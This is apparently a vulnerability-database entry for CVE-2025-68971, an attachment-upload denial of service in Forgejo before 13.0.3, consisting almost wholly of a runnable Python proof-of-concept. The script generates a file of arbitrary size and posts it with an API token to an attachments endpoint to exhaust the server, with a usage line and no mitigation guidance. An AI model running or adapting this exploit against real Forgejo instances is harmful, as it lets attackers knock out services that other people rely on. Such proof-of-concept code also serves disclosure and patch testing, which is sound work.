CVE-2025-68971: Forgejo 13.0.3之前版本附件上传拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-68971 PoC - Forgejo Attachment Upload DoS This PoC demonstrates uploading a large file to trigger DoS in Forgejo < 13.0.3 """ import requests import sys import os def create_large_file(size_mb=1024): """Generate a large file for upload""" filename = 'large_test_file.bin' chunk_size = 1024 * 1024 # 1MB chunks with open(filename, 'wb') as f: for _ in range(size_mb): f.write(b'\x00' * chunk_size) return filename def upload_large_attachment(base_url, token, issue_id, filename): """ Upload large file as attachment to trigger DoS """ upload_url = f"{base_url}/api/v1/repos/issues/attachments" headers = { 'Authorization': f'token {token}', 'Accept': 'application/json' } with open(filename, 'rb') as f: files = {'file': (filename, f)} data = {'issue_id': issue_id} print(f"[*] Uploading large file to {upload_url}...") print(f"[*] File size: {os.path.getsize(filename) / (1024*1024):.2f} MB") try: response = requests.post(upload_url, headers=headers, files=files, data=data, timeout=300) print(f"[+] Response status: {response.status_code}") if response.status_code == 200: print("[+] File uploaded successfully - DoS condition triggered") return response except requests.exceptions.RequestException as e: print(f"[-] Upload failed: {e}") return None def main(): if len(sys.argv) < 5: print("Usage: python3 cve-2025-68971-poc.py <forgejo_url> <token> <issue_id> <file_size_mb>") sys.exit(1) base_url = sys.argv[1].rstrip('/') token = sys.argv[2] issue_id = sys.argv[3] size_mb = int(sys.argv[4]) print(f"[*] Creating {size_mb}MB test file...") filename = create_large_file(size_mb) try: upload_large_attachment(base_url, token, issue_id, filename) finally: if os.path.exists(filename): os.remove(filename) print(f"[*] Cleaned up {filename}") if __name__ == "__main__": main()